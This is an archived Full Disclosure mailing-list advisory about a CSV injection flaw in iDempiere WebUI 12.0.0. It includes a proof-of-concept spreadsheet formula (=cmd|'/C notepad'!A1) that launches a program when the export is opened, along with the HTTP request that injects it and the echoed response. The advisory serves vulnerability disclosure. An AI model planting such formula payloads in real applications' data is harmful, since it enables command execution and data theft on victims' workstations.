full-disclosure - [FD] CSV Injection in iDempiere WebUI 12.0.0.202508171158

Open Source and information security mailing list archives

Message-ID: <CAFmK-Gz32hRtG2cA4ePBnFS6GauLSE8+23J1_kxshUhvv=W0rA@mail.gmail.com>
Date: Sun, 17 Aug 2025 22:33:31 -0400
From: Ron E <ronaldjedgerson@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CSV Injection in iDempiere WebUI 12.0.0.202508171158

A CSV Injection vulnerability exists in iDempiere WebUI
v12.0.0.202508171158. The application fails to properly sanitize
user-supplied input before including it in exported CSV files. An
authenticated attacker can inject malicious spreadsheet formulas
(e.g., =cmd|'/C
notepad'!A1) into fields that are later exported. When the CSV is opened in
spreadsheet software such as Microsoft Excel or LibreOffice Calc, the
injected formula is executed. Successful exploitation may allow arbitrary
command execution on the victim’s workstation, data exfiltration via
external cell references, or manipulation of the exported spreadsheet
content.

*Request:*

POST /webui HTTP/2

Host: <host>

-

dtid=******&cmd_0=onInitEdit&data_0=%7B%22value%22%3A%22%3Dcmd%7C'%20%2FC%20notepad'!'A1'%22%7D&cmd_1=onBlur
--snip--

*Response:*

HTTP/2 200 OK

-

{"rs"--snip--: =cmd|\' /C
notepad\'!\'A1\'',iconSclass:'z-icon-Window'},{},[]],
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives